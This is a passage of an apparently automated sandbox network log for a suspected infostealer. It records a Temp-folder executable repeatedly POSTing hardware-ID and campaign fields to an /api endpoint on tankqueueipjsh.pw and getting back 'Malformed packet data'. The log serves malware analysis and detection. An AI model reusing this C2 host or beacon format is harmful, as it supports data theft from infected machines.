{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pJIV%2F6A9nhykywsHSB%2BV8gG6IeAXILFKBMEEXxTFLm2ZA0t3wxFb6SnKsMx6472AKq47hkgg7tR2mOvj%2BBMWla78KNp713sHP1Io3AvbZ4xvdc1lubyTh5zW%2F6QWQntYR86RLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:14.669924021 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 39 30 61 66 37 37 32 39 62 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 83150390af7729bb-IAD15Malformed packet data
Dec 6, 2023 14:53:14.669960022 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50215	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:15.057923079 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:15.058104992 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:15.414237976 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=q1cluq2q8atcich9m4ns69r77p; expires=Sun, 31 Mar 2024 07:39:54 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OywO%2F0pxc8czYhQbPk1%2F5WErfwndFJOAION7UHNNJI1Zh%2B17pNHStHX%2B3%2F4O06WPQdykI2mBjS8NsK5qx2VYQ6UEnGeNE1%2BK2GLf8TVFfWvyOfKojIJP7Bfyenl8F5i2TrVosw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:53:15.414300919 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 39 35 35 62 39 62 33 39 32 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 831503955b9b3920-IAD15Malformed packet data
Dec 6, 2023 14:53:15.414338112 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50216	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:15.608130932 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:15.608325958 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:15.963927984 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ih1h1jg56i5e9r3r2o014p1r3c; expires=Sun, 31 Mar 2024 07:39:54 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EqK1dtE5uEltvurC6BOTRbnfsvOCs9NWODgk7y2YBIQ89d%2FjfgQQ%2F%2BWIyHO1826l79vuazmPVoBEx51h%2BF5HlSeVNlRZipCuuzGkZomo%2BdBaEJ9VKlj80n8iEGmOV7wTmVAYtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:15.963968992 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 39 38 63 66 39 33 38 31 65 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 83150398cf9381ee-IAD15Malformed packet data
Dec 6, 2023 14:53:15.964054108 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50217	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:16.062918901 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:16.063076019 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:16.325864077 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=q7m4v2u7m67p5l18n3psonrmfs; expires=Sun, 31 Mar 2024 07:39:55 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RkucTdCXiIACOb0ojUHVObns8ICS0vXz3HW6g1uwpJ9rcb91cRAqKxJIAZmWb9blECzEnB1gw5TIJNHwrMoVJDb3czwXbuKgk9qiwUs%2BaQ6oUteyLHH6wWi8wQFX571iDjVqYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudfla Data Raw: Data Ascii:
Dec 6, 2023 14:53:16.325915098 CET	116	IN	Data Raw: 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 39 62 61 38 31 37 33 39 39 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: eCF-RAY: 8315039ba817399e-IAD15Malformed packet data
Dec 6, 2023 14:53:16.326004982 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50219	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:20.080535889 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:20.080732107 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:20.446146011 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1utl049lr6ggi3is7cm3talq8r; expires=Sun, 31 Mar 2024 07:39:59 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FVr7FFLkuBH9X%2Bfzg64euwGGtREbdO39irPMZMefR%2Fs%2Br2BwNEhbTg7x103weOdD2wXiy8K8T3OHBE1JYc7QsNQ9c58Ad56jkdTOvTIITbcJGuXqd6GNFawKiq6Y9jON2a6XLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:20.446198940 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 62 34 62 39 65 63 30 38 31 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 831503b4b9ec081b-IAD15Malformed packet data
Dec 6, 2023 14:53:20.446237087 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50220	104.21.83.145	80	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:24.791116953 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:24.791289091 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:25.043049097 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=85tr62tb4dmd4e83bu9to9tcrb; expires=Sun, 31 Mar 2024 07:40:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WmoCiUO3D2BQ5j7YoIeD955wJ1ZvzPOugkkNxqOy330%2BcQYonOU7PO986rSe7o68ThH%2F%2FBCj4KpocnH%2BqQhRjyLoIoyxyLCzGWcP2jmxRpqpFJkASxb7BgJ6WzaT3d3F6sXlCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:25.043098927 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 64 32 33 39 35 36 30 38 32 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 831503d239560822-IAD15Malformed packet data
Dec 6, 2023 14:53:25.043185949 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50221	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:25.784538031 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:25.785366058 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:26.129513979 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=nrgo3mfo0l04aqn4g78n1gbsuc; expires=Sun, 31 Mar 2024 07:40:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L1Q9D2fPqfBvqDpmzZAyrGSnB45cfD%2F2hLhSeeK0y4uDwHAEWglb%2FkdmtQvFnR9nd9uoe%2FxHawgEZXPDgmkXIzmMcZbAeDTOQvcTzicv9iIzqROXouRwZi72nazwqCWyXVzlkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.129554033 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 64 38 36 63 62 62 35 62 36 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 831503d86cbb5b6a-IAD15Malformed packet data
Dec 6, 2023 14:53:26.130350113 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50222	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:26.231964111 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:26.232146978 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:26.480066061 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=0gruofmpjfsnc0qqru249t03rt; expires=Sun, 31 Mar 2024 07:40:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1z87t0MylvYlPpiqQLNS8wDMSNaoWaWA4GAJ7xpwuK6KGK%2FW47ExwXXgcTUdtA23n5iuHbz%2FlMPujDHUyMe5mwaPUrXfqwN5aFFrO7m3vGYOepPgRZLBhSm4VxQe198kCzynxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.480115891 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 64 62 33 63 62 31 33 39 33 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 831503db3cb1393a-IAD15Malformed packet data
Dec 6, 2023 14:53:26.480154037 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50223	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:26.581759930 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:26.581967115 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:26.934813976 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=h9lsfod6ojsv8nhalt1i9o4dmi; expires=Sun, 31 Mar 2024 07:40:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ent38%2FJL1n5wbWKptstHThi85O6yUP5fAml0Wmsak60IrfJVNOwriFk3l3jLyPghEbmeEjjEPikaP62u2kpMjjvH%2Fr2pTQDn2uPB2ZZ6H8SGfRUpEqTTKtQHXu9F0%2FJm3TadoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:26.934860945 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 64 64 36 61 31 34 30 35 37 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 831503dd6a14057f-IAD15Malformed packet data
Dec 6, 2023 14:53:26.934897900 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50224	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:27.049329996 CET	336	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1327 Host: tankqueueipjsh.pw
